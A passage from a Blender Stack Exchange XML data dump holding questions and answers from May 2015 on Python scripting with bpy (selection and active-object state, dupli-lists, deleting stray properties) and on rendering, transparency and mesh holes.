bpy.data.materials.new(&quot;PKHG&quot;)&#xA;&#xA;purp.diffuse_color = (1, 0, 1)&#xA;cy.diffuse_color   = (0, 1, 1)&#xA;&#xA;puv_add = bpy.ops.mesh.primitive_uv_sphere_add&#xA;for vert in corner_verts:&#xA;    puv_add(segments=8, ring_count=4, size=1, location=vert)&#xA;    ao = bpy.context.active_object&#xA;    ao.active_material = cy&#xA;&#xA;me  = bpy.data.meshes.new('timmesh')&#xA;ob  = bpy.data.objects.new('timobj', me)&#xA;sco = bpy.context.scene.objects&#xA;sco.link(ob)&#xA;&#xA;me.from_pydata(verts, [], faces)&#xA;&#xA;ob.active_material = purp&#xA;&#xA;# the above script leaves the mesh unselected for some reason&#xA;ob.select = True&#xA;boo = bpy.ops.object&#xA;boo.shade_smooth()&#xA;&#xA;ao = bpy.context.active_object&#xA;print(&quot;ao: &quot;, ao.name)    # Sphere.003&#xA;print(&quot;ob: &quot;, ob.name)    # timobj&#xA;print(&quot;boo: &quot;, boo.name)  # &amp;lt;function bpy.ops.object.name at 0x117028470'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit (a question from the comments)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since a script does not use a mouse, why does it have to worry about selecting and deselecting and what is or isn't active. I am wondering how I can just give them a reference such as ob and then just do these things without having to constantly manage selection in the script?&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-05-28T15:31:11.843" Title="How do I work with User Ops Nicely? How do I manage selection state?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31587" PostTypeId="2" ParentId="31586" CreationDate="2015-05-28T10:03:16.473" Score="3" Body="&lt;p&gt;I'm not certain there is a 'most correct' way, answers rarely exist in a vacuum. Settle for 'optimal' approach given a scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few take-aways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &quot;Active object&quot; is always selected, its &lt;code&gt;.select&lt;/code&gt; attribute will return True.&lt;/li&gt;&#xA;&lt;li&gt;Only one object can be Active in the scene at any given time.&lt;/li&gt;&#xA;&lt;li&gt;it is possible that no object is &lt;em&gt;active&lt;/em&gt;, yet several are &lt;em&gt;selected&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;A call to &lt;code&gt;bpy.ops.object.shade_smooth()&lt;/code&gt; will shade all selected objects, not just active. (&lt;code&gt;bpy.ops.object&lt;/code&gt; isn't a reference to an object, like &lt;code&gt;bpy.context.active_object&lt;/code&gt; is )&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops.object.shade_smooth()&lt;/code&gt; doesn't take parameters, so it operates blindly on the current data.objects in your scene.&lt;/li&gt;&#xA;&lt;li&gt;Adding objects using &lt;code&gt;ops.mesh&lt;/code&gt; places that object in the &lt;em&gt;active&lt;/em&gt; state&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context.scene.objects.active = None&lt;/code&gt;, will remove the active state of an object, and it will become just 'selected'&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.data.objects[your_object]&lt;/code&gt;, will set that object active. (it will not clear the &lt;em&gt;select&lt;/em&gt; state of any previously active object) &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.SceneObjects.html?highlight=objects.link#bpy.types.SceneObjects.link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context.scene.objects.link()&lt;/code&gt;&lt;/a&gt; does not place the object in an active or selected state, you must set that explicitly yourself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;A solution to the potential chaos?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Most flexible is probably an &lt;em&gt;ID&lt;/em&gt; property, each object can have several  ID properties. You can pool objects by giving them each the same ID prop. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_obj = bpy.data.objects['some_object']&#xA;my_obj['UHOH_ID'] = 'DONTSHADEME'  # attaches this ID property&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A fast way to 1) un-select all objects, and 2) make sure none are active is the following two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = None  # turns active object to selected&#xA;bpy.ops.object.select_all(action='DESELECT') # properly unselects all.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you get your head around adding ID properties to objects, here's a list comprehension that returns the list of object references that have &lt;em&gt;MY_ID&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objects = bpy.data.objects&#xA;objs = [o for o in objects if o.get('MY_ID') == 'SOME_VALUE']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to select just those objects with &lt;em&gt;MY_ID&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for o in objs:&#xA;    o.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Why worry about selecting and deselecting and what is or isn't active?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In essence because the kinds of function you are calling are wrapped functionality intended to be triggered by the UI, and therefore don't need to supply return values, but do assume some state of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've already encountered &lt;code&gt;from_pydata&lt;/code&gt;, there is also &lt;code&gt;bm.to_mesh(obj.data)&lt;/code&gt; which lets you assign the content of a &lt;code&gt;bm&lt;/code&gt; into the mesh of an object. Getting away from the &lt;code&gt;bpy.ops&lt;/code&gt; is a natural progression for someone who is learning bpy, they are great first steps.. but as soon as you need more control and complexity -- well.. a different approach is needed, and is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance, to make a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bmesh.ops.html?highlight=bmesh.ops#bmesh.ops.create_uvsphere&quot; rel=&quot;nofollow&quot;&gt;uv sphere without bpy.ops&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;bm = bmesh.new()&#xA;bmesh.ops.create_uvsphere(bm, u_segments=20, v_segments=20, diameter=1.2)&#xA;my_mesh = bpy.data.meshes.new(&quot;my_mesh&quot;)&#xA;bm.to_mesh(my_mesh)&#xA;bm.free()&#xA;ob = bpy.data.objects.new(&quot;mySphere&quot;, my_mesh)&#xA;bpy.context.scene.objects.link(ob)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could wrap that in a function that returns the reference of the new object..&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-28T13:34:19.637" LastActivityDate="2015-05-28T13:34:19.637" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31588" PostTypeId="1" CreationDate="2015-05-28T10:07:04.513" Score="3" ViewCount="1279" Body="&lt;p&gt;I need to import a mesh with more than 100 normal maps and diffuse textures.&#xA;The mesh is in Obj/mtl format, and Blender loads  the mesh and the textures. However, it doesn't set the normal map as normal map: I need to check Texture/Image Sampling/Normal Map to get it working.&#xA;However, doing this to more than 100 textures is too bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this automatically?&lt;/p&gt;&#xA;" OwnerUserId="14664" LastActivityDate="2015-11-03T08:38:51.687" Title="Importing normal maps from obj/mtl" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31589" PostTypeId="2" ParentId="31567" CreationDate="2015-05-28T10:09:53.987" Score="5" Body="&lt;p&gt;You need to create a dupli-list. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def object_derived_get(ob, scene):&#xA;    if ob.dupli_type != 'NONE'&#xA;        ob.dupli_list_create(scene)&#xA;        ob_matrix_pairs = [(dob.object, dob.matrix.copy()) for dob in ob.dupli_list]&#xA;        ob.dupli_list_clear()&#xA;    else:&#xA;        ob_matrix_pairs = [(ob, ob.matrix_world.copy())]&#xA;&#xA;    return ob_matrix_pairs&#xA;&#xA;# example&#xA;import bpy&#xA;from bpy import context&#xA;for ob, matrix in dupli_list_create(context.object, context.scene):&#xA;    print(ob, matrix)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seealso:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.DupliObject.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.DupliObject.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Object.html#bpy.types.Object.dupli_list&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Object.html#bpy.types.Object.dupli_list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-28T23:09:13.040" LastActivityDate="2015-05-28T23:09:13.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31590" PostTypeId="2" ParentId="31579" CreationDate="2015-05-28T11:27:14.703" Score="3" Body="&lt;p&gt;Check the &lt;strong&gt;Actor&lt;/strong&gt; option physics tab for your player so it can be detected by the &lt;strong&gt;Near&lt;/strong&gt; and &lt;strong&gt;Radar&lt;/strong&gt; sensors :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WlRgA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-28T11:27:14.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31591" PostTypeId="2" ParentId="31562" CreationDate="2015-05-28T11:40:56.683" Score="4" Body="&lt;p&gt;You can do it in the compositor with a blur node on the light layer. Make sure to render in layers with one having the lights. Andrew Price has a lot of tut vids with this technique being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try adding fog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are not overdriving the lighting. This explains what I am talking about.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/17844/aliased-edge-around-light-source-in-cycles&quot;&gt;Aliased edge around light source in cycles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12972" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-05-28T11:40:56.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31592" PostTypeId="2" ParentId="31559" CreationDate="2015-05-28T12:25:24.610" Score="1" Body="&lt;p&gt;Okay after some tries i found a simple solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a new BI-Material, set diffuse and spec to &quot;0&quot; enable transparency and change to mask and alpha to &quot;0&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for me! &lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-05-28T12:25:24.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31593" PostTypeId="2" ParentId="31564" CreationDate="2015-05-28T13:17:14.647" Score="26" Body="&lt;p&gt;I think I know what you're talking about (cause I'm a huge fan of these kind of oldschool 3d-imitating games :)). You may use a &lt;strong&gt;&lt;em&gt;Damped Track&lt;/strong&gt; constraint&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jsWzB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the plane, go to &lt;em&gt;Constraints&lt;/em&gt; header, select a &lt;strong&gt;&lt;em&gt;Damped Track&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;constraint&lt;/em&gt; and set the &lt;em&gt;Camera&lt;/em&gt; as a &lt;strong&gt;&lt;em&gt;Target&lt;/em&gt;&lt;/strong&gt;. Then select an axis you want a plane to lie on.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rDkJI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the plane in any direction it'll always face the camera. Remember that you may also decrease the &lt;strong&gt;&lt;em&gt;Influence&lt;/em&gt;&lt;/strong&gt; of this &lt;em&gt;constraint&lt;/em&gt; for different results.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/URI15.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-28T14:14:49.993" LastActivityDate="2015-05-28T14:14:49.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31595" PostTypeId="1" CreationDate="2015-05-28T13:27:04.607" Score="3" ViewCount="280" Body="&lt;p&gt;I have a plane, in front of a cube, with a texture used for alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQe4a.png&quot; alt=&quot;Origin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i like to use the BI Mask-Transparency to (alpha) hide everything behind the white areas. The black areas should be complete transparent &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i mix this settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hkkLY.png&quot; alt=&quot;mask-transparency&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kMOzL.png&quot; alt=&quot;z-transparency&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-05-28T13:27:04.607" Title="How to combine Z-Transparency and Mask Transparency in BI" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31596" PostTypeId="1" CreationDate="2015-05-28T13:35:57.857" Score="0" ViewCount="477" Body="&lt;p&gt;So when I am using cycles in blender, every time I use an image texture for this model's hair, it turns out like this. He is supposed to be completely blonde and no matter what I add or manipulate in the nodes, it doesn't change so there is always this black in his hair. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I should be doing in particular or is it something else? Because it works for majority of the other models except a few that do the same thing, particularly the blonde ones or one's that have wavy hair. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LV77Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the textures used for this model's hair&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFclp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :) Btw I'm new to this site so sorry if I do something wrong! :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here&#xA;&lt;img src=&quot;https://i.stack.imgur.com/42jiP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to duplicate the question &quot;How can I setup a Material in Cycles for Z-Transparency?&quot; and this is what I got. It's still not right.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eBVCd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14621" LastEditorUserId="14621" LastEditDate="2015-05-30T07:48:05.497" LastActivityDate="2015-05-30T07:48:05.497" Title="Hair Image Texture is black?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="0" CommentCount="14" ClosedDate="2015-05-30T13:26:29.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="31597" PostTypeId="1" AcceptedAnswerId="31604" CreationDate="2015-05-28T13:38:02.273" Score="2" ViewCount="1049" Body="&lt;p&gt;I have been given a geometry like the one in the picture but find that although it is a building, there appears to be holes in the façade...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wnch3.png&quot; alt=&quot;Fig1. Full building&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of making sure there are no holes (see below) in it apart from looking at it very carefully and making faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWb5B.png&quot; alt=&quot;Fig 2. A hole&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14207" LastActivityDate="2015-05-28T14:05:43.450" Title="How to ensure there are no holes in my geometry?" Tags="&lt;geometry&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31598" PostTypeId="1" CreationDate="2015-05-28T13:44:29.750" Score="2" ViewCount="755" Body="&lt;p&gt;I have a script which is working. At the end of the script, rendering is started. This is supposed to work as a template for people possibly unfamiliar with a freezing screen (blender is loading lots of data into cache from images used in the compositor). &#xA;For that reason i want an &quot;Info&quot; in the top bar saying something like &quot;This might take a while. Now rendering...&quot;.&#xA;So i would have this in my operator&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;draw message&lt;/li&gt;&#xA;&lt;li&gt;redraw UI (to show message)&lt;/li&gt;&#xA;&lt;li&gt;Run the rest of the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="14669" LastEditorUserId="241" LastEditDate="2015-05-28T14:02:17.680" LastActivityDate="2015-08-26T15:31:14.947" Title="Can i redraw the UI inside an operator?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31599" PostTypeId="1" CreationDate="2015-05-28T13:46:20.427" Score="9" ViewCount="10944" Body="&lt;p&gt;I'm trying to do a volumetric light on Cycles, and I've followed tutorials, but nothing has worked yet. How can I make a proper volumetric light in Blender, like the following one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sq3Hd.jpg&quot; alt=&quot;Example light&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to leave the light in the middle, like, almost a star, is this possible? I'm at the point to use an image plane besides the light which would be better... &lt;strong&gt;I need to use it moving the camera.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually trying to do this because I want to simulate the brightness of the Sun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the effect, but it still gave me an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WfAne.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="1224" LastEditDate="2015-05-28T19:53:33.317" LastActivityDate="2015-05-28T19:53:33.317" Title="How can I make a simple volumetric light on Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31600" PostTypeId="2" ParentId="31598" CreationDate="2015-05-28T13:52:31.523" Score="1" Body="&lt;p&gt;use &lt;code&gt;report()&lt;/code&gt; in your operator to display reports on the top bar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.report({'INFO'},&quot;This ma take some time&quot;)&#xA;# rest of the code here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-28T13:52:31.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31603" PostTypeId="2" ParentId="31599" CreationDate="2015-05-28T14:04:52.323" Score="1" Body="&lt;p&gt;For reasons of simplification you could use the compositor. There are several filters for this case (Blur, Fog Glare, Streaks, and more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not planning to move your camera, you could also use the &lt;a href=&quot;https://i.stack.imgur.com/JU2Lq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sunbeam filter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="1224" LastEditDate="2015-05-28T19:01:42.690" LastActivityDate="2015-05-28T19:01:42.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31604" PostTypeId="2" ParentId="31597" CreationDate="2015-05-28T14:05:43.450" Score="2" Body="&lt;p&gt;you can use the 3d print toolBox :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;go to &lt;strong&gt;Addons&lt;/strong&gt; and enable &lt;strong&gt;3d print toolBox&lt;/strong&gt; and save the settings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0QlUG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the 3D view switch to &lt;strong&gt;&lt;em&gt;Edit mode&lt;/em&gt;&lt;/strong&gt; and select your mesh &lt;/li&gt;&#xA;&lt;li&gt;use the Non-Manifold operator ( press &lt;kbd&gt;T&lt;/kbd&gt; to show the tools panel )&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7DWXz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-28T14:05:43.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31605" PostTypeId="1" CreationDate="2015-05-28T14:27:27.930" Score="2" ViewCount="462" Body="&lt;p&gt;I'm sculpting a mesh in the 3d view port with the view port shading in 'render' mode, but the mesh doesn't show any changes I make until I switch to another shading mode. Is there anyway to change this?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2016-07-22T21:43:12.120" Title="Mesh doesnt change in the viewport while view port shading is in render mode" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31606" PostTypeId="1" AcceptedAnswerId="31608" CreationDate="2015-05-28T14:27:29.463" Score="1" ViewCount="417" Body="&lt;p&gt;I am trying to delete properties which some plugin messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to delete a property &lt;code&gt;PN781673099840471551&lt;/code&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;del bpy.data.scenes[&quot;Scene&quot;].PN781673099840471551&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that does not work, (type : &lt;code&gt;bpy_struct&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are these strange properties blender related, they got somehow generated from loading and unloading a plugin. And I am stuck with some values inside my blender file which crash the plugin when loading. Is there anykind of tool to remove unwanted properties?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(What I did: I added somewhere in an plugin (RIB Mosaic) related panel an illegal value, and saved the blend file, and now the value is somehow stuck inside my blend file, so when trying to use the plugin again the plugin raises an exception...) &lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2015-05-28T15:20:40.147" Title="delete properties in messed up file" Tags="&lt;properties&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31607" PostTypeId="1" CreationDate="2015-05-28T14:53:44.543" Score="0" ViewCount="1871" Body="&lt;p&gt;I downloaded a file for Blender that have the Sun animated, I only actually changed the animation parameters on the file, but nothing more than that.&#xA;Now i'm trying to render it with transparent background (not background at all) checking Transparent and then choosing PNG/RGBA, it works if i open a new file, but with this one, the alpha background isnt just working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded the file (.blend) here, if someone finds a way to render it without any background (on this case, black):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.mediafire.com/download/9kbom0wrwdxwpyp/sun.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/9kbom0wrwdxwpyp/sun.blend&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2607" LastEditDate="2015-05-29T11:45:45.197" LastActivityDate="2015-05-29T11:45:45.197" Title="My Alpha/PNG background isn't working" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31608" PostTypeId="2" ParentId="31606" CreationDate="2015-05-28T15:14:04.903" Score="1" Body="&lt;p&gt;You can delete that property, the error you get is probably (here recreated):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.ragamuffin = bpy.props.IntProperty(default=1)&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.ragamuffin&#xA;(&amp;lt;built-in function IntProperty&amp;gt;, {'default': 1, 'attr': 'ragamuffin'})&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.scenes['Scene'].ragamuffin&#xA;1&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; del bpy.data.scenes['Scene'].ragamuffin&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: bpy_struct: del not supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there's no guarantee that will make the scene work again..&#xA;removal anyway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; del bpy.types.Scene.ragamuffin    # success!&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.types.Scene.ragamuffin&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: type object 'Scene' has no attribute 'ragamuffin'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't for certain say what produced those properties, but it's worth having a look at the source of the plugin. For instance &lt;a href=&quot;https://github.com/aqsis/RIBMosaic/blob/master/render_ribmosaic/rm_property.py&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; RIBMosaic implements some unusual (not bad...just not standard bpy style) property registration techniques using exec. meaning you can't easily tell in advance exactly what the properties will be called.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-28T15:20:40.147" LastActivityDate="2015-05-28T15:20:40.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31609" PostTypeId="2" ParentId="31586" CreationDate="2015-05-28T15:31:11.843" Score="1" Body="&lt;p&gt;My personal philosophy has been to avoid bpy.ops as much as possible, because so much of it relies on undocumented (although usually straightforward) manipulation of the editor context.  I consider the editor context to be an environment variable, and I like to &lt;a href=&quot;https://sites.google.com/site/michaelsafyan/software-engineering/avoid-global-variables-environment-variables-and-singletons&quot; rel=&quot;nofollow&quot;&gt;avoid global variables, environment variables, and singletons&lt;/a&gt; (although I don't elevate this principle to a religion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of the primitive_uv_sphere_add, I would probably manually create the sphere in the UI, and just access its mesh datablock to create new objects.  (although you could say that is a global variable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the changes I made:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- /tmp/se0.py 2015-05-28 11:17:48.715945835 -0400&#xA;+++ /tmp/se.py  2015-05-28 11:17:20.040779317 -0400&#xA;@@ -25,11 +25,10 @@&#xA; purp.diffuse_color = (1, 0, 1)&#xA; cy.diffuse_color   = (0, 1, 1)&#xA;&#xA;-puv_add = bpy.ops.mesh.primitive_uv_sphere_add&#xA; for vert in corner_verts:&#xA;-    puv_add(segments=8, ring_count=4, size=1, location=vert)&#xA;-    ao = bpy.context.active_object&#xA;-    ao.active_material = cy&#xA;+    ao = bpy.data.objects.new(&quot;sphere&quot;, bpy.data.meshes['Sphere'])&#xA;+    bpy.context.scene.objects.link(ao)&#xA;+    ao.location = vert&#xA;&#xA; me  = bpy.data.meshes.new('timmesh')&#xA; ob  = bpy.data.objects.new('timobj', me)&#xA;@@ -40,12 +39,5 @@&#xA;&#xA; ob.active_material = purp&#xA;&#xA;-# the above script leaves the mesh unselected for some reason&#xA;-ob.select = True&#xA;-boo = bpy.ops.object&#xA;-boo.shade_smooth()&#xA;-&#xA;-ao = bpy.context.active_object&#xA;-print(&quot;ao: &quot;, ao.name)    # Sphere.003&#xA;-print(&quot;ob: &quot;, ob.name)    # timobj&#xA;-print(&quot;boo: &quot;, boo.name)  # &amp;lt;function bpy.ops.object.name at 0x117028470'&amp;gt;&#xA;+for p in 